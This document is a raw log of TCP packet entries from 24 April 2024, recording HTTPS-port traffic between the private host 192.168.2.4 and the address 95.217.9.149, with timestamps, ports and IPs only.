Apr 24, 2024 18:52:18.472661018 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.472668886 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.472702026 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.472712040 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.479733944 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.479774952 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.479804039 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.479809046 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.479837894 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.479867935 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.488421917 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.488476992 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.488627911 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.488627911 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.488641024 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.488683939 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.495877981 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.495918036 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.495948076 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.495958090 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.495986938 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.496001005 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.505351067 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.505393028 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.505429029 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.505439043 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.505465031 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.505507946 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.513075113 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.513114929 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.513149023 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.513159037 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.513184071 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.513200998 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.520051003 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.520090103 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.520137072 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.520194054 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.520231962 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.520255089 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.524899006 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.524941921 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.524982929 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.525005102 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.525029898 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.525048018 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.531903982 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.531944990 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.531979084 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.531990051 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.532016993 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.532036066 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.539423943 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.539465904 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.539518118 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.539518118 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.539532900 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.539587021 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.546276093 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.546319008 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.546351910 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.546361923 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.546390057 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.546407938 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.552835941 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.552908897 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.552939892 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.552951097 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.552974939 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.552998066 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.560347080 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.560396910 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.560430050 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.560446024 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.560470104 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.560492039 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.566148996 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.566193104 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.566217899 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.566236019 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.566271067 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.566291094 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.572303057 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.572345018 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.572376966 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.572386980 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.572410107 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.572428942 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.572448969 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.579552889 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.579598904 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.579632044 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.579646111 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.579670906 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.579689980 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.586524963 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.586569071 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.586618900 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.586635113 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.586674929 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.586699963 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.591984034 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.592051029 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.592088938 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.592103958 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.592163086 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.592164040 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.598730087 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.598773003 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.598822117 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.598835945 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.598867893 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.598885059 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.604414940 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.604456902 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.604490042 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.604501009 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.604542017 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.604542017 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.610050917 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.610100985 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.610131979 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.610142946 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.610172033 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.610192060 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.615571976 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.615614891 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.615654945 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.615667105 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.615696907 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.615715981 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.622176886 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.622219086 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.622256041 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.622266054 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.622289896 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.622306108 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.627801895 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.627842903 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.627886057 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.627917051 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.627948046 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.627964973 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.633372068 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.633430958 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.633482933 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.633519888 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.633558035 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.633579016 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.639298916 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.639342070 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.639369965 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.639379978 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.639404058 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.639430046 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.644490957 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.644547939 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.644575119 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.644581079 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.644610882 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.644623041 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.652513981 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.652559042 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.652611971 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.652626991 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.652652025 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.652671099 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.661115885 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.661159992 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.661200047 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.661217928 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.661243916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.661258936 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.664282084 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.664324999 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.664359093 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.664370060 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.664396048 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.664414883 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.668673992 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.668716908 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.668771982 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.668783903 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.668812990 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.668843985 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.671519041 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.671564102 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.671602011 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.671612024 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.671638012 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.671654940 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.676867962 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.676907063 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.676950932 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.676963091 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.676994085 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.677009106 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.681463957 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.681504965 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.681539059 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.681550026 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.681576967 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.681596041 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.691309929 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.691370964 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.691385984 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.691405058 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.691431046 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.691450119 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.696067095 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.696125031 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.696136951 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.696152925 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.696182966 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.696182966 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.696204901 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.701390028 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.701435089 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.701464891 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.701477051 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.701504946 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.701577902 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.706625938 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.706669092 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.706707001 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.706720114 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.706748009 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.706763983 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.712626934 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.712667942 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.712704897 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.712719917 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.712745905 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.712770939 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.715971947 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.716016054 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.716054916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.716068983 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.716095924 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.716136932 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.720267057 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.720309019 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.720381975 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.720381975 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.720400095 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.720444918 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.724679947 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.724733114 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.724749088 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.724809885 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.724823952 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.724869013 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.729684114 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.729729891 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.729762077 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.729788065 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.729818106 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.729837894 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.734302998 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.734347105 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.734383106 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.734400988 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.734425068 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.734441996 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.739118099 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.739161968 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.739193916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.739212036 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.739237070 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.739253998 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.743362904 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.743406057 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.743438005 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.743457079 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.743479967 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.743496895 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.747595072 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.747637987 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.747675896 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.747694969 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.747721910 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.747746944 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.752302885 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.752348900 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.752391100 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.752410889 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.752449036 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.752471924 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.756571054 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.756613016 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.756652117 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.756665945 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.756695986 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.756711006 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.761348963 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.761394978 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.761416912 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.761432886 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.761456966 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.761476040 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.765089989 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.765130997 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.765161037 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.765178919 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.765202045 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.765219927 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.769752979 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.769794941 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.769846916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.769865990 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.769890070 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.769908905 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.774286985 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.774332047 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.774350882 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.774370909 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.774395943 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.774413109 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.779900074 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.779959917 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.779974937 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.779994965 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.780047894 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.780047894 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.784734011 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.784780979 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.784813881 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.784827948 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.784856081 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.784876108 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.788140059 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.788187027 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.788230896 CEST	49750	443	192.168.2.4	95.217.9.149
